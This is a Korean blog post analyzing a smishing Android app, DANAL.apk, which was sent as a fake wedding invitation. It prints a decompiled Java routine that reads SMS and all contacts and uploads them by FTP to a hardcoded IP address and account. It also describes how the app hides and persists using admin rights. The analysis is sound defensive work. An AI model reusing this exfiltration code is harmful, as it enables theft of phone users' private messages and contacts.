메뉴 건너뛰기

app

[apk] 스미싱 - 안드로이드 앱 DANAL.apk

suritam92013.07.07 03:54조회 수 4614댓글 1

  • 11
    • 글자 크기

문자로 청첩장이 왔다기에 보니, 악성앱으로 사려되었다.


9.jpg


그래서 맥북에서 받아보니, DANAL.apk 라는 이름으로 되어 있었다.


다른 사례들과 비교해 봤는데, http://darksoulstory.tistory.com/category/Android/%20Android%20Malware%EB%B6%84%EC%84%9D


동일한 녀석을 아닐 걸로 보였다.


마지막 문자와 주소록을 뒤져서 ftp로 올리는 기능으로 보이는데, 설치를 안 해봐서 일단은 화면을 확인할 수 없었다. 

예전에 설치했던, android x86 2.2 버전으로 test 해 봤다.



  private void init()

  {

    this.sPreferences = getSharedPreferences("data", 0);

    if (FirstRun.IsFirstRun(this.sPreferences))

    {

      SMSOutSender.send("", this);

      getLastSMS();

      new Thread()

      {

        public void run()

        {

          MainActivity.this.readAllContacts();

          MainActivity.this.ftpUpload("126.5.25.32", "5331", "getwiner", "", "/", "/sdcard/", "contact.txt");

          super.run();

        }

      }

      .start();

    }

    System.out.println("MainActivity:init()");

    finish();

  }


6.jpg


안드로이드 sdk 에서 해서 그런지 몰라도 제대로 실행되는건지 잘 확인이 안되고, 지워지지도 않는다. 쩝


관리자 권한을 주었기 때문에 그런 것 이었다.


그래서 관리자 권한을 비활성화 하고 삭제했다.


다시 설치하면서 보니, 녀석은 재기동 하면, 아이콘이 사라지지만 설치되지 않은 척 하면서 계속 상주하며, 작업하는 무서운 놈이다.


뭔 데이터를 갖고 있는지는 몰라도 보유하고 있다.


10.jpg


data.xml 에는 별 내용이 없고, sms.db 에는 테이블을 생성하는 쿼리가 들어 있다. 내용을 빼가려는 듯.


암튼 sms를 보내면 항상 실행상태이면서 정보를 빼돌리는 기능을 하는 듯 하다.


ip가 박혀있어서 막히면 무용지물이 되긴 하지만, 내부에 계속 data를 쌓는다면, 언젠가는 또다른 앱에 의해 탈취될 가능성이 있으므로 삭제하는게 좋겠다.



2.jpg

3.jpg

4.jpg 5.jpg 

7.jpg



5.jpg


suritam9 (비회원)
  • 11
    • 글자 크기
[apk] apk 디컴파일 (by suritam9) [burp] burp suite 에서 intruder 사용하기 (by suritam9)

댓글 달기

댓글 1
  • 보안에대해 공부하는 학생입니다.


    danal.apk 샘플이라도 연구해보고싶습니다. k.sena486@gmail.com 으로 보내주시면 안될지 실례지만 부탁좀 드려도 될까요..^^


    스미싱관련 앱 분석하고 보고서작성해 제 블로그에 올려보고싶지만.. 샘플이 딱히없어서 그것마저 불가능하네요.

    도와주시면 안될까요..^^ 초면에 이런부탁해서 죄송합니다.


    Tonyan 누르면 제 블로그로 이동되니 가능하면 부탁드리겠습니다.

    enjoyhacking 이라는 티스토리 블로그입니다. 긴글읽어주셔서 감사합니다 :)

suritam9
2013.06.28 조회 2166
suritam9
2013.08.23 조회 1661
suritam9
2013.08.23 조회 7110
suritam9
2013.11.26 조회 1484
이전 1 ... 5 6 7 8 9 10 11 12 13 14다음
첨부 (11)
1.jpg
50.2KB / Download 37
2.jpg
27.6KB / Download 29
3.jpg
44.4KB / Download 34
4.jpg
27.0KB / Download 40
5.jpg
43.7KB / Download 32
6.jpg
94.1KB / Download 32
7.jpg
48.0KB / Download 38
8.jpg
39.7KB / Download 36
9.jpg
124.4KB / Download 36
10.jpg
53.2KB / Download 39
11.jpg
49.5KB / Download 60
위로